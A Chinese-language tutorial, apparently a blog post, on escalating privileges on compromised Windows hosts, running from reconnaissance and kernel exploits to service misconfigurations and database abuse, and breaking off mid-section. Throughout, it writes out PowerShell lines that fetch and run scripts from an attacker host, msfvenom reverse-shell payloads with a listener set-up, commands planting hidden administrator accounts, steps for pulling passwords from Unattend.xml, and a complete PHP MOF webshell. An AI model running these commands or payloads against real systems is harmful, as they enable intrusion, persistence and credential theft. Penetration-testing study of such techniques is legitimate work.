windows 提权

一、提权的常用方法

1、漏洞提权

2、windwos特性提权

3、第三方组件提权

4、数据库提权 ftp 提权

二、提权常用的命令

1、这个命令序列使用了不同的 Windows Management Instrumentation Command-line (WMIC) 命令来获取各种系统信息。下面是对每个部分的解释:

(1)systeminfo:提供系统配置的综合概览,包括操作系统详情、系统制造商、BIOS 信息等。

(2)wmic product get name,version:列出已安装的软件产品以及它们的名称和版本。

(3)wmic nic where PhysicalAdapter=True get MACAddress,Name:检索与网络适配器相关的信息,包括它们的MAC地址和名称。条件 PhysicalAdapter=True 仅显示物理网络适配器。

(4)wmic NICCONFIG WHERE IPEnabled=true GET IPAddress:获取有关网络配置的信息,特别是启用了IP的网络接口,并检索它们的IP地址。

systeminfo && wmic product get name,version && wmic nic where PhysicalAdapter=True get MACAddress,Name && wmic NICCONFIG WHERE IPEnabled=true GET IPAddress

由于命令太过冗长,可以把他们写进文件里:

systeminfo && wmic product get name,version && wmic nic where PhysicalAdapter=True get MACAddress,Name && wmic NICCONFIG WHERE IPEnabled=true GET IPAddress > output.txt

2、获取版本信息:

systeminfo | findstr OS

3、获取主机名称:

hostname

4、获取当前用户的详细信息:

whoami /all

5、显示当前用户的安全特权:

whoami /priv

6、查看服务:

net start

比如关注有没有防火墙

7、获取在线用户(只有服务端的 windows 才有):

quser or query user

8、获取端口状态:

netstat -ano

(1)获取正在等待来自远程计算机的连接请求的端口:

netstat -ano | findstr "LISTENING"

(2)获取 rdp 连接来源 IP:

netstat -ano | findstr 3389 

补充:

在网络通信中,netstat 命令可以显示不同连接的状态。以下是一些常见的连接状态:
(1)LISTENING(监听): 表示某个进程正在等待来自远程计算机的连接请求。通常,这是服务或应用程序正在监听某个端口,等待连接。
(2)ESTABLISHED(已建立): 表示连接已成功建立,数据可以在两个计算机之间传输。这是正常的、稳定的连接状态。
(3)TIME_WAIT(等待时间结束): 表示连接已关闭,但系统仍在等待一段时间以确保所有的报文都已被接收。这是正常的,通常用于处理可能在网络中存在的延迟或重传。
(4)CLOSE_WAIT(等待关闭): 表示本地端已经关闭连接,但远程端仍在发送数据。这可能表明存在未处理的关闭连接问题。
(5)SYN_SENT(同步已发送): 表示计算机已发送同步(SYN)请求以建立连接,等待对方的确认。
(6)SYN_RECEIVED(同步已接收): 表示计算机已经接收到同步(SYN)请求,并发送确认。
(7)FIN_WAIT_1(等待终止1): 表示连接中的一方已经发送关闭请求,等待对方的确认。
(8)FIN_WAIT_2(等待终止2): 表示连接中的一方已经收到对方的关闭请求,但仍在等待其他报文。
(9)CLOSED(已关闭): 表示连接已经完全关闭,不再存在。

9、列出已安装的补丁:

wmic qfe get Caption,Description,HotFixID,InstalledOn

10、获取远程端口:

REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber

回显:

(1)PortNumber 是一个 REG_DWORD 类型的注册表键,表示存储的值是一个32位的十进制整数。
(2)0xd3d 是 PortNumber 的值,以十六进制表示。在十进制中,这个值是3389。

11、获取远程桌面服务的 pid:

tasklist /svc | findstr "TermService"

三 、提权初尝试

1、登录远程桌面

2、查找远程桌面服务的 PID

tasklist /svc | findstr "TermService"

windows 提权_第1张图片

3、然后在任务管理器中查找服务的端口:

或者使用命令查看:

netstat -ano | findstr "1360"

windows 提权_第2张图片

由上述可得到服务的端口号为 3389,也可以得到我们的 IP 是 192.168.103.1,然后端口是 7926

四、Windows 提权辅助

1、检测系统补丁脚本 :

https://github.com/SecWiki/windows-kernel-exploits/tree/master/win-exp-suggester

2、查看补丁 :

https://github.com/chroblert/WindowsVulnScan

3、windows 内核提权 exp :

https://github.com/SecWiki/windows-kernel-exploits

4、在线提权利用查询 (用 exp 搜提权方法):

https://lolbas-project.github.io/

5、提权辅助网页(通过 systeminfo 查找没有的补丁):

hacking8.com

五、Windows 漏洞提权流程

5.1  流程:

能够执行cmd命令->是否打补丁->补丁对应exp->获取服务器权限

5.2  上传后门执行命令的时候:aspx 优于 asp 和 php

5.3  详细流程:

1、上传后门

2、执行命令:

systeminfo

3、复制回显信息,然后到 hacking8.com 中查询补丁信息

六、提权工具

6.1、windows-kernel-exploits

1、下载地址:GitHub - SecWiki/windows-kernel-exploits: windows-kernel-exploits Windows平台提权漏洞集合

6.2、wesng

1、下载地址:https://github.com/bitsadmin/wesng

6.3、WindowsVulnScan

1、下载地址:

https://github.com/chroblert/WindowsVulnScan/

2、工具使用:

(1)先使用 powershell 执行 ./KBCollect.ps1

(2)会在指定目录下生成 KB.json

(3)然后执行:

python cve-check.py -C -f KB.json

 (4)得到结果

3、实战使用:

(1)先更改 KBCollect.ps1 的 out-file,这是生成的 KB.json 的保存路径

可以改为:

C:\ProgramData\KB.json

windows 提权_第3张图片

 (2)远程开启服务器,上面有 KBCollect.ps1

windows 提权_第4张图片

复制 IP 地址:

http://192.168.103.130:7788/KBCollect.ps1

(3)在网站上上传的大马下执行命令:

Powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.103.130:7788/KBCollect.ps1')

命令解释:

这是一条 PowerShell 命令,其主要目的是从指定的 URL 下载一个 PowerShell 脚本(KBCollect.ps1),并在本地执行。

1、New-Object 是 PowerShell 中用于创建新对象的 cmdlet。
2、Net.WebClient 是一个 .NET 类,用于从指定的 URI 下载数据。
3、.DownloadString('http://192.168.0.182/KBCollect.ps1'):
这是调用 DownloadString 方法,该方法从指定的 URL 下载数据,并将其作为字符串返回。在这里,它下载了位于 http://192.168.0.182/KBCollect.ps1 的 PowerShell 脚本。

IEX:
IEX 是 Invoke-Expression 的缩写,用于执行由字符串表示的命令。它会接受字符串作为参数,并在 PowerShell 中执行该字符串中表示的命令。

将整个命令组合在一起,它的作用是下载 http://192.168.0.182/KBCollect.ps1 上的脚本,并使用 IEX 执行这个脚本

此时 KBCollect.ps1 成功执行,在 C:\ProgramData 下 KB.json 成功生成,然后我们通过大马把它下载下来

(4)把 KB.json 粘贴到工具目录下,使用命令:

python cve-check.py -C -f KB.json

执行后,就可得到对应的 EXP。

七、提权技巧

7.1  查询可写目录或文件:

1、概述:

        在确定可以执行 cmd 命令时,有些服务器会对目录进行权限设置,导致 iis_user 用户组没有权限对常见的目录进行写入和读取,这时可以用扫描可写目录脚本对目录进行遍历扫描,得到可写目录上传或下载提权 exp 或替换文件进行利用。

2、工具使用:

(1)wt.asp:

        红色表示文件可替换,蓝色表示目录可写

(2)wt.aspx

3、这时候就可以在可写的目录中上传 cmd 了(有时候需要多尝试几个目录)

八、漏洞实战:

8.1  CVE-2016-3225(MS16-075)

1、漏洞概述:

        当攻击者转发适用于在同一计算机上运行的其他服务的身份验证请求时,Microsoft 服务器消息块(SMB) 中存在特权提升漏洞。成功利用此漏洞的攻击者可以使用提升的特权执行任意代码。
若要利用此漏洞,攻击者首先必须登录系统。然后,攻击者可以运行一个为利用此漏洞而经特殊设计的应用程序,从而控制受影响的系统。
注:烂土豆(Rotten Potato)提权是一个本地提权,是针对本地用户的,不能用于域用户

2、影响版本:

win7,win8,win10,win vista

win 2008,win 2012

3、漏洞判断:

(1)先用补丁扫描工具进行扫描,然后从可用 exp 中寻找是否存在 CVE-2016-3225,如果有说明可利用:

windows 提权_第5张图片

4、漏洞复现:

(1)上传利用工具

工具一:

GitHub - uknowsec/JuicyPotato: Modifying JuicyPotato to support load shellcode and webshell

工具二:

Release PrintSpoofer · itm4n/PrintSpoofer · GitHub

(2)执行 cmd 命令:

1、测试工具是否可以使用(这时候发现用户变为了 nt authority\system,系统用户和管理员用户的区别就是系统用户不需要输入密码)
C:\Windows\debug\WIA\PrintSpoofer64.exe -i -c whoami
2、添加用户(如果是服务器用户,不能执行添加)
C:\Windows\debug\WIA\PrintSpoofer64.exe -i -c "net user chunchun 123456 /add"
3、添加用户权限
C:\Windows\debug\WIA\PrintSpoofer64.exe -i -c "net localgroup administrators chunchun /add"
4、检查用户的用户组
C:\Windows\debug\WIA\PrintSpoofer64.exe -i -c "net user chunchun"

windows 提权_第6张图片

(3)执行 netstat -ano 发现 3389 端口是开启的,说明可以远程连接桌面,然后我们用刚才创建的用户和密码进行连接就可以了

8.2  CVE-2014-4113(MS14-058)

1、漏洞概述:

        如果Windows内核模式驱动程序不正确地处理内存中的对象,则存在一个特权提升漏洞。成功利用此漏洞的攻击者可以运行内核模式中的任意代码。攻击者随后可安装程序,查看、更改或删除数据,或者创建拥有完全管理权限的新帐户。

2、影响版本:

        该漏洞影响所有Windows x64,包括Windows 7 和 Windows Server 2008 R2 及以下版本。

3、漏洞复现:

(1)上传提权工具

(2)执行命令:

C:\Windows\debug\WIA\Win64.exe whoami

(3)其余内容与上述一致

8.3  CVE-2020-0787

1、漏洞概述:

        当 Windows Background Intelligent Transfer Service (BITS)未能正确地处理符号链接时,存在权限提升漏洞。成功利用此漏洞的攻击者可以覆盖导致提升状态的目标文件。要利用此漏洞,攻击者首先必须登录到系统。

2、利用工具下载:

Releases · cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION · GitHub

3、漏洞复现:

(1)上传利用工具

(2)先想办法把权限提升到普通用户,然后创建普通权限的用户

(3)远程桌面连接这个用户

C:\Windows\debug\WIA\BitsArbitraryFileMoveExploit.exe

(4)运行工具,进行本地提权

九、使用 metasplite 提权

9.1  获取交互式 shell

1、生成反向连接后门:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.103.130 lport=7778 -f exe > s.exe
或
msfvenom -p windows/64/meterpreter/reverse_tcp lhost=192.168.103.130 lport=7778 -f exe > s.exe

2、在 metasploit 中进行监听:

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp
或
set payload windows/x64/meterpreter/reverse_tcp

set lhost 192.168.103.130
set lport 7778
exploit

3、远程操控 s.exe 在目标主机运行,然后 kali 主机接收到反弹 shell

4、常用命令:

getuid 获取用户
systeminfo 获取主机信息
run post/windows/gather/enum_patches 获取补丁安装情况

注意:一般是用于非交互式 shell 提升为交互式 shell

9.2   获取可用 exp

1、常用 exp :

ms14_058 内核模式驱动程序中的漏洞可能允许远程执行代码
ms16_016 WebDAV本地提权漏洞(CVE-2016-0051)
ms16_032 MS16-032 Secondary Logon Handle 本地提权漏漏洞

2、获取可用 exp

use post/multi/recon/local_exploit_suggester
set session 1
exploit
9.3  使用 exp (这里使用的是 exploit/windows/local/ms16_075_reflection_juicy)

1、设置好参数

2、运行,获取到 shell 为系统用户

windows 提权_第7张图片

9.4  维持权限

1、隐藏 shell 的进程(捆绑进程,进程迁移)

migrate 2584

windows 提权_第8张图片

注意:捆绑不同的进程会是不同的用户,可能是系统用户,可能是管理员用户

十、Windows 系统配置错误提权

10.1  系统服务权限配置错误

1、描述:
        Windows 在系统启动时,会伴随着一些高权服务启动(以 system 权限运行的 windows 服务)倘若某些服务存在一些漏洞,那么就能够借此服务进行权限劫持,例如DLL劫持

2、漏洞介绍:
        windows 系统服务文件在操作系统启动时加载执行,并在后台调用可执行文件。如果一个低权限的用户对此类系统服务调用的可执行文件拥有写权限,那么就可以替换该文件,并随着系统启动获得控制权限。windows 服务是以 system 权限运行的,其文件夹、文件和注册表 key-value 都是受强制访问控制保护的。但是在某些情况下,操作系统中依然存在一些没有得到有效保护的服务。

3、漏洞复现:

(1)使用工具进行分析:

工具一:GitHub - HarmJ0y/PowerUp: This version of PowerUp is now unsupported. See https://github.com/Veil-Framework/PowerTools/tree/master/PowerUp for the most current version.

工具二:GitHub - itm4n/PrivescCheck: Privilege Escalation Enumeration Script for Windows

因为工具一版本很久没有更新了,现在是工具二使用较多,这个工具是一款针对 Windows 系统的提权枚举脚本,该脚本能够枚举出目标 Windows 系统中常见的 Windows 错误安全配置,而这些错误的安全配置将允许攻击者在目标系统中实现信息收集以及权限提升

(2)kali 下载工具到本地后,使用 python 启动远程服务器:

python -m http.server 7788

(3)在 windows 的 webshell 中执行:

如果是工具一:

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.103.130:7788/PowerUp.ps1'); Invoke-AllChecks"

如果是工具二:

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.103.130:7788/PrivescCheck.ps1'); Invoke-PrivescCheck"

 扫描结束后发现存在漏洞配置的信息:

windows 提权_第9张图片

NT AUTHORITY\SERVICE 是一个组,服务都是由组中的用户 NT AUTHORITY\SYSTEM 的身份运行的,这时候我们可以修改服务运行的路径,让我们的后门文件以 NT AUTHORITY\SYSTEM 的身份运行,这就达到了提权的目的。

此时可以通过以下命令来进一步确认我们是否可以对该服务进行控制

sc stop UsoSvc
sc query usosvc
sc start UsoSvc

(4)kali 生成一句话后门:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.103.130 lport=7778 -f exe > s.exe

若是直接在 webshell 的 shell 中运行 s.exe,获取到的权限只是服务器权限

(5)上传一句话后门:

后门地址:C:\ProgramData\s.exe

(6)修改上面提到的 UsoSvc 服务的配置文件:

sc config usosvc binPath= "C:\ProgramData\s.exe"

注意等号后面一定有个空格

(7)msf 启动监听:具体可参考上述第九部分

(8)重新启动 UsoSvc 服务,连接成功

(9)进程自动迁移:
刚刚连接上的 shell 是极其不稳定的,所以要进行进程迁移,进程自动迁移:

set AutoRunScript migrate -f

(10)再次启动 usosvc 服务,连接成功

windows 提权_第10张图片

(11)使用 exploit/windows/local/service_permissions 模块:

先获取一个低权限的用户 shel,background 放到后台
use exploit/windows/local/service_permissions
set session 3
exploit

自动扫描到可更改配置文件的路径,然后进行自动提权

10.2  不带引号的服务路径提权

1、描述:

        当系统管理员配置 Windows 服务时,他们必须指定要执行的命令,或者运行可执行文件的路径。当 Windows 服务运行时,会发生以下两种情况之一。如果给出了可执行文件,并且引用了完整路径,则系统会按字面解释它并执行。但是,如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。

2、原理:

(1)运行可执行文件时,若是以双引号为路径:

"C:\Program Files\1.exe"

 (2)若是没有双引号:

C:\Program Files\1.exe

windows 提权_第11张图片

(3)这时候把要运行的可执行文件改名为 Program.exe,并放到 C 盘下面:

C:\Program Files\1.exe

windows 提权_第12张图片

由此我们可以知道,只要路径没有双引号,然后路径中有空格,那么就可以把后门文件改名为路径空格前的名字,然后在有空格的目录路径的上一层上传后门文件,这样在执行这一服务时,我们的后门文件也就跟着执行了。

3、漏洞复现:

(1)使用工具或命令扫描路径中有空格且无双引号的部分:

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.103.130:7788/PrivescCheck.ps1'); Invoke-PrivescCheck"

 或:

wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr
/i /v "C:Windows" |findstr/i /v """

(2)要求路径可写入文件

(3)如果路径可写,上传 msf 后门,在目标主机服务重启后,就会自动连接上了,注意要设置进程自动迁移:

set AutoRunScript migrate -f

10.3  注册键 AlwaysInstallElevated

1、描述:
        允许低权限用户以 System 权限安装文件。如果启用此策略设置项,那么任何权限的用户都以NT Authority\System 权限来安装恶意的 MSI 文件。 windows install 是 windows 操作系统的组件之一,专门用来管理配置软件服务,它除了是一个安装程序,还用于管理软件的安装、组件的添加、删除、监视文件的还原、通过回滚进行灾难恢复。windows install 通过 msiexec.exe 安装 MSI文件,双击 MSI 文件就会运行 msiexec.exe。 原理:是因为用户打开了 windows installer 特权安装功能。

2、环境准备:

(1)设置 windows 策略:

输入:

gpedit.msc

找到:用户设置->管理模板->windows组件->windows install->始终以提升的权限进行安装

windows 提权_第13张图片

 (2)也可以通过命令修改:

reg add HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
Reg add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1

3、漏洞复现:

(1)通过工具扫描,判断是否存在此漏洞:

PowerShell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString('http://192.168.103.130:7788/PowerUp.ps1'); Get-RegAlwaysInstallElevated

(2)返回为 true 说明存在漏洞

注意 iis-user 的用户权限低,是 false ,普通用户则为 true

(3)上传并使用工具来创建管理员权限的用户:

工具地址:https://github.com/apt69/COMahawk/releases

执行后创建用户成功,达到了提权的目的

10.4  自动安装配置文件提权

1、描述:

(1)通常大型组织在部署某些员工较多或时间紧缺的程序时,会使用 Unattended Installs 自动安装,这种方式允许程序在不需要管理员的操作下进行自动安装,这种方式在部署程序前期较有用,但它也会在系统中残留一个名为 Unattend 的 XML 文件,这个 XML 件包含所有在安装程序过程中的配置,包括一些本地用户的配置,以及管理员账户等。

        Unattend.xml 文件通常在以下文件夹中:

C:\sysprep.inf
C:\syspreg\sysprep.xml
C:\Windows\system32\sysprep.inf
C:\windows\system32\sysprep\sysprep.xml
C:\unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\System32\Sysprep\Unattend.xml
C:\Windows\System32\Sysprep\Panther\Unattend.xml

(2)除此之外,系统中遗留的 sysprep.xml 和sysprep.inf 文件中也可能包含部署系统时使用的凭证信息,可以通过利用这些信息进行提权。

(3)通过搜索 UserAccounts 、Administrators、password 等对凭证进行定位
部分文件内容可能如下:


    
        
            
                UEBzc3dvcmQxMjMhUGFzc3dvcmQ=                         false</PlainText>
            </Password>
            <Description>Local Administrator</Description>                        <DisplayName>Administrator</DisplayName>                             <Group>Administrators</Group>
            <Name>Administrator</Name>
        </LocalAccount>
    </LocalAccounts>
</UserAccounts></code></pre> 
  <p>在以上文件中,可以看到 一个本地账户被创建并加入到了管理员组中。<br> 可以猜测密码的值应该是以Base64进行编码的<br> 对密码值进行Base64解码,解码得到:</p> 
  <pre><code>P@ssword123!Password</code></pre> 
  <p>通常微软会在编码前的密码后加上password,所以这里本地管理员的密码实际是:P@ssword123!</p> 
  <p>2、漏洞利用:</p> 
  <p>(1)使用命令来查看目标文件是否存在,若存在路径是多少:</p> 
  <pre><code>dir /b /s c:\Unattend.xml</code></pre> 
  <p>(2)可以使用 type 来直接查看文件内容,也可以直接用 webshell 来下载文件到本地</p> 
  <pre><code>type c:\Windows\Panther\unattend.xml</code></pre> 
  <p>(3) 也可以使用 msf 的 post/windows/gather/enum_unattend 对这个配置文件扫描:</p> 
  <pre><code>先获取到反向 shell,background 后使用如下命令:
use post/windows/gather/enum_unattend
set session 1
exploit</code></pre> 
  <p>(4)也可以使用 powerup 工具:</p> 
  <pre><code>powershell -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://192.168.103.130:7788/PowerUp.ps1');Get-UnattendedInstallFile"</code></pre> 
  <p>(5)连接上 shell 之后可以使用:</p> 
  <pre><code>search -f *pass*</code></pre> 
  <p>来寻找文件名中带有 pass 文件</p> 
  <h5>10.5  本地 dll 劫持提权</h5> 
  <blockquote> 
   <p>        在 Windows 操作系统中,,DLL 对于程序执行是非常重要的,因为程序在执行的时候,必须链接到 DLL 文件,才能够正确地运行。而且有些 DLL 文件可以被许多程序共用。</p> 
  </blockquote> 
  <p>1、描述:</p> 
  <p>        Windows 程序启动的时候需要 DLL。如果这些 DLL 不存在,则可以通过在应用程序要查找的位置放置恶意 DLL 来提权。</p> 
  <p>        通常,Windows 应用程序有其预定义好的搜索 DLL 的路径,它会根据下面的顺序进行搜索:</p> 
  <pre><code>1、应用程序加载的目录
2、C:\Windows\System32
3、C:\Windows\System
4、C:\Windows
5、当前工作目录Current Working Directory,CWD
6、在PATH环境变量的目录(先系统后用户)</code></pre> 
  <p>这样的加载顺序很容易导致一个系统 DLL 被劫持,因为只要攻击者将目标文件和恶意 DLL 放在一起即可,导致恶意 DLL 先于系统 DLL 加载,而系统 DLL 是非常常见的,所以当时基于这样的加载顺序,出现了大量受影响软件。</p> 
  <p>2、漏洞复现:</p> 
  <p>(1)使用火绒剑来获取进程信息:</p> 
  <p><img alt="" height="10" src="http://img.e-com-net.com/image/info8/9395f0513e984839b2741b23dc01a8a2.jpg" width="650"></p> 
  <p><img alt="" height="19" src="http://img.e-com-net.com/image/info8/383d0f952e7f4ae59a36ee30c375acd8.jpg" width="650"> (2)结束进程,替换 360Base.dll 文件,用 msf 生成:</p> 
  <pre><code>msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.103.130 lport=7778 -f dll > 360base.dll</code></pre> 
  <p>(3)kali 启动监听,目标机重新启动进程,连接成功</p> 
  <h4>十一、第三方提权:</h4> 
  <h5>11.1  sqlserver 提权</h5> 
  <p>1、描述:<br>         如果网站里面使用的数据库是 sqlserver 那么如果找到 sa 的密码,利用提权脚本,执行命令,但是不一定的系统权限,还要看管理员开始安装 sqlserver 的权限设置 一般情况是 system 权限或者 pulic 均能执行命令。</p> 
  <p>2、敏感文件:</p> 
  <pre><code>web.config
config.asp
conn.aspx
database.aspx</code></pre> 
  <p>3、环境准备:</p> 
  <p>(1)sql server 环境,若未开启,win + R 输入以下命令来开启:</p> 
  <pre><code>SQLServerManager11.msc</code></pre> 
  <p>(2)准备 sql server 连接工具,或者使用 webshell 的 mssql 连接工具</p> 
  <p>4、漏洞复现:</p> 
  <p>(1)端口扫描,发现 1433 端口是开启状态</p> 
  <p>(2)连接 mssql ,用户名为 sa ,密码为 123456</p> 
  <p>(3)开启 xp_cmd 权限:</p> 
  <p><strong>       xp_cmdshell:</strong>xp_cmdshell 是 Sql Server 中的一个组件,将命令字符串作为操作系统命令 shell 执行,并以文本行的形式返回所有输出。通常在拿到 sa 口令之后,可以通过 xp_cmdshell 来进行提权。</p> 
  <p>        使用如下命令来查看是否开启,有返回说明已开启,下图中 xtype 为对象类型,xtype='x' 这里表示xp_cmdshell 的对象类型为扩展存储过程:</p> 
  <pre><code>select * from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'</code></pre> 
  <p><a href="http://img.e-com-net.com/image/info8/e85dd4a3c6ef4b9b81750be78b465d29.jpg" target="_blank"><img alt="windows 提权_第14张图片" height="214" src="http://img.e-com-net.com/image/info8/e85dd4a3c6ef4b9b81750be78b465d29.jpg" width="650" style="border:1px solid black;"></a></p> 
  <p>也可以使用如下命令,返回 1 说明开启:</p> 
  <pre><code>select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'</code></pre> 
  <p><a href="http://img.e-com-net.com/image/info8/368c4969170349f4935405a8cbe6d90e.jpg" target="_blank"><img alt="windows 提权_第15张图片" height="231" src="http://img.e-com-net.com/image/info8/368c4969170349f4935405a8cbe6d90e.jpg" width="650" style="border:1px solid black;"></a></p> 
  <p>若未开启,开启 xp_cmdshell 的命令为:</p> 
  <pre><code>EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;</code></pre> 
  <p>(4) 执行命令:</p> 
  <pre><code>exec master..xp_cmdshell "net user test12 123.com /add"
exec master..xp_cmdshell "net localgroup administrators test12 /add"
exec master..xp_cmdshell "net user test12"
或
Exec master.dbo.xp_cmdshell 'net user chun 123456 /add '
Exec master.dbo.xp_cmdshell 'net localgroup administrators chun /add'
Exec master.dbo.xp_cmdshell 'net user chun'</code></pre> 
  <h5>11.2  mysql 提权</h5> 
  <p>1、描述:</p> 
  <p>        通过上传自定义的函数来进行提权,在mysql5.1版本以后就需要放在插件插件目录 /lib/plugin ,文件后缀为 dll,c语言编写。</p> 
  <p>2、漏洞利用前提:</p> 
  <p>(1) secure_file_priv 设置为空;</p> 
  <p>(2)plugin 存在;</p> 
  <p>(3)</p> 
  <p>3、漏洞复现:</p> 
  <p>(1)使用工具连接 mysql 服务</p> 
  <p>(2)上传到 C:/phpStudy/MySQL/lib/plugin/ 目录下,注意 plugin 可能不存在,若不存在需要手动创建,若存在直接导入:</p> 
  <p><a href="http://img.e-com-net.com/image/info8/600916d7018b43049b221c353d1f3f49.jpg" target="_blank"><img alt="" height="74" src="http://img.e-com-net.com/image/info8/600916d7018b43049b221c353d1f3f49.jpg" width="650"></a></p> 
  <p>(3) 先创建函数:</p> 
  <p><a href="http://img.e-com-net.com/image/info8/172d65a1c78944b5854054e7d42a73bf.jpg" target="_blank"><img alt="windows 提权_第16张图片" height="106" src="http://img.e-com-net.com/image/info8/172d65a1c78944b5854054e7d42a73bf.jpg" width="313" style="border:1px solid black;"></a></p> 
  <p>(4)执行命令:</p> 
  <p><a href="http://img.e-com-net.com/image/info8/2e2f32f096de43d3b05e22cb29db3cf8.jpg" target="_blank"><img alt="windows 提权_第17张图片" height="134" src="http://img.e-com-net.com/image/info8/2e2f32f096de43d3b05e22cb29db3cf8.jpg" width="483" style="border:1px solid black;"></a></p> 
  <p>此时已经是系统权限了。</p> 
  <h5>11.3  mof 提权</h5> 
  <p>1、描述:</p> 
  <p>       mof 是 windows 系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做 "托管对象格式" 其作用是每隔五秒就会去监控进程创建和死亡。</p> 
  <p>2、原理:</p> 
  <p>       获取了 mysql 的 root 权限了以后,然后使用 root 权限去执行我们上传的 mof。隔了一定时间以后这个 mof 就会被执行,这个 mof 当中有一段是 vbs 脚本,这个 vbs 大多数的是 cmd 的添加管理员用户的命令。</p> 
  <p>3、影响版本:</p> 
  <p>(1)windows 03 及以下版本<br> (2)mysql启动身份具有权限去读写 c:/windows/system32/wbem/mof 目录<br> (3)secure-file-priv参数不为null</p> 
  <p>4、漏洞复现:</p> 
  <p>(1)获取 mysql 管理员的账号密码</p> 
  <p>(2)连接后上传 mof ,mof 的内容是执行 windows 命令</p> 
  <p>脚本内容示例:</p> 
  <pre><code><?php 
    $path="c:/ini.txt"; 
    session_start(); 
if(!empty($_POST['submit'])){ 
setcookie("connect"); 
setcookie("connect[host]",$_POST['host']); 
setcookie("connect[user]",$_POST['user']); 
setcookie("connect[pass]",$_POST['pass']); 
setcookie("connect[dbname]",$_POST['dbname']); 
echo "<script>location.href='?action=connect'</script>"; 
} 
if(empty($_GET["action"])){ 
?> 

<html> 
<head><title>Win MOF Shell</title></head> 
<body> 
<form action="?action=connect" method="post"> 
Host: 
<input type="text" name="host" value="127.0.0.1:3306"><br/> 
User: 
<input type="text" name="user" value="root"><br/> 
Pass: 
<input type="password" name="pass" value="zkeys"><br/> 
DB:   
<input type="text" name="dbname" value="mysql"><br/> 
<input type="submit" name="submit" value="Submit"><br/> 
</form> 
</body> 
</html> 

<?php 
exit; 
} 
if ($_GET[action]=='connect') 
{ 
$conn=mysql_connect($_COOKIE["connect"]["host"],$_COOKIE["connect"]["user"],$_COOKIE["connect"]["pass"])  or die('<pre>'.mysql_error().'</pre>'); 
echo "<form action='' method='post'>"; 
echo "Cmd:"; 
echo "<input type='text' name='cmd' value='$strCmd'?>"; 
echo "<br>"; 
echo "<br>"; 
echo "<input type='submit' value='Exploit'>"; 
echo "</form>"; 
echo "<form action='' method='post'>"; 
echo "<input type='hidden' name='flag' value='flag'>"; 
echo "<input type='submit'value=' Read  '>"; 
echo "</form>"; 
if (isset($_POST['cmd'])){ 
$strCmd=$_POST['cmd']; 
$cmdshell='cmd /c '.$strCmd.'>'.$path; 
$mofname="c:/windows/system32/wbem/mof/system.mof"; 
$payload = "#pragma namespace(\"\\\\\\\\\\\\\\\\.\\\\\\\\root\\\\\\\\subscription\") 

instance of __EventFilter as \$EventFilter 
{ 
  EventNamespace = \"Root\\\\\\\\Cimv2\"; 
  Name  = \"filtP2\"; 
  Query = \"Select * From __InstanceModificationEvent \" 
      \"Where TargetInstance Isa \\\\\"Win32_LocalTime\\\\\" \" 
      \"And TargetInstance.Second = 5\"; 
  QueryLanguage = \"WQL\"; 
}; 

instance of ActiveScriptEventConsumer as \$Consumer 
{ 
  Name = \"consPCSV2\"; 
  ScriptingEngine = \"JScript\"; 
  ScriptText = 
  \"var WSH = new ActiveXObject(\\\\\"WScript.Shell\\\\\")\\\\nWSH.run(\\\\\"$cmdshell\\\\\")\"; 
}; 

instance of __FilterToConsumerBinding 
{ 
  Consumer = \$Consumer; 
  Filter = \$EventFilter; 
};"; 
mysql_select_db($_COOKIE["connect"]["dbname"],$conn); 
$sql1="select '$payload' into dumpfile '$mofname';"; 
if(mysql_query($sql1)) 
  echo "<hr>Execute Successful!<br> Please click the read button to check the  result!!<br>If the result is not correct,try read again later<br><hr>"; else die(mysql_error()); 
mysql_close($conn); 
} 

if(isset($_POST['flag'])) 
{ 
  $conn=mysql_connect($_COOKIE["connect"]["host"],$_COOKIE["connect"]["user"],$_COOKIE["connect"]["pass"])  or die('<pre>'.mysql_error().'</pre>'); 
  $sql2="select load_file(\"".$path."\");"; 
  $result2=mysql_query($sql2); 
  $num=mysql_num_rows($result2); 
  while ($row = mysql_fetch_array($result2, MYSQL_NUM)) { 
    echo "<hr/>"; 
    echo '<pre>'. $row[0].'</pre>'; 
  } 
  mysql_close($conn); 
} 
} 
?></code></pre> 
  <p>(3)添加管理员用户,这时候就达到了提权的目的</p> 
  <h5>11.4  G6FTP 提权</h5> 
  <p>1、描述:</p> 
  <p>        G6 FTP Server 新一代的 FTP 服务器端软件,支持 RFC-959 标准并增强其中的某些功能,上传和下载都可以续传,实时查看运行状态,占用带宽,还有很多功能。</p> 
  <p>2、原理:</p> 
  <p>       G6FTP 的默认端口为 8021,只侦听在 127.0.0.1 的 8021 端口上,所以无法从外部直接访问,需要进行端口转发,使用lcx 工具(lcx 具有三个功能:监听、转发、端口转向)。</p> 
  <p>3、复现:</p> 
  <p>(1)确定 G6FTP 存在后,需要把 8021 端口转发出来:</p> 
  <pre><code>lck.exe -tran 3344 127.0.0.1 8021</code></pre> 
  <p>可以在目标主机上确认 3344 端口的开启:</p> 
